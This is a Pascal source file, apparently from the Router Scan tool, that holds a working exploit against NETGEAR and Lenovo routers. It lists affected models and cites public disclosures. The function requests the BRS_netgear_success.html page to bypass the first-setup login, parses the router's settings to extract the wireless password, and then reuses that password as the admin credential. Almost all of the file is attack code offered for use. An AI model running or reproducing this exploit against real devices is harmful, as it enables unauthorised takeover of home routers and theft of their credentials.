// Router Scan exploit
// Copyright (C) Stas'M Corp. 2015

// Project home page:
// http://stascorp.com/load/1-1-0-56

// References:
// http://www.shellshocklabs.com/2015/09/part-1en-hacking-netgear-jwnr2010v5.html
// http://seclists.org/fulldisclosure/2015/Oct/29

function TRouter.Exploit_NETGEAR_BRS_FirstSetup(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;
var
  Code, I: Integer;
  Tmp: String;
begin
  // Affected:
  // Lenovo R3250
  // NETGEAR JNR1010v2
  // NETGEAR JNR3000
  // NETGEAR JNR3210
  // NETGEAR JWNR2000v5
  // NETGEAR JWNR2010v5
  // NETGEAR N300
  // NETGEAR WNR1000v4
  // NETGEAR WNR2020
  // NETGEAR WNR614
  // NETGEAR WNR618
  Result := False;
  if ServerName <> '' then
    Exit;
  if (Pos('<form name="formname" action="ptimeout.cgi"', S) = 0)
  and (Pos('top.location.href="401_access_denied.htm"', S) = 0) then
    Exit;
  if AuthOk and (AuthUser = 'admin') then
    Exit;
  for I := 0 to 1 do
    GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/BRS_netgear_success.html',
    Tmp, Code, 2, 0, ServerName, False, AuthUser, AuthPass);
  if GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/',
  Tmp, Code, 2, 0, ServerName, False, AuthUser, AuthPass) then
    if Code div 100 <> 4 then begin
      Parse_NETGEAR_DGN(False, AuthUser, AuthPass);
      for I := 0 to 3 do begin
        Sleep(250);
        GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/',
        Tmp, Code, 2, 0, ServerName, False, AuthUser, AuthPass);
        if Code div 100 = 4 then begin
          if (Pasw <> '') and (Pasw <> stcEmpty) then begin
            // try wireless password to auth
            Result := True;
            AuthUser := 'admin';
            AuthPass := Pasw;
            SetTableCell(stcStatus, 'Trying to log in...');
          end;
          Break;
        end;
      end;
    end;
end;
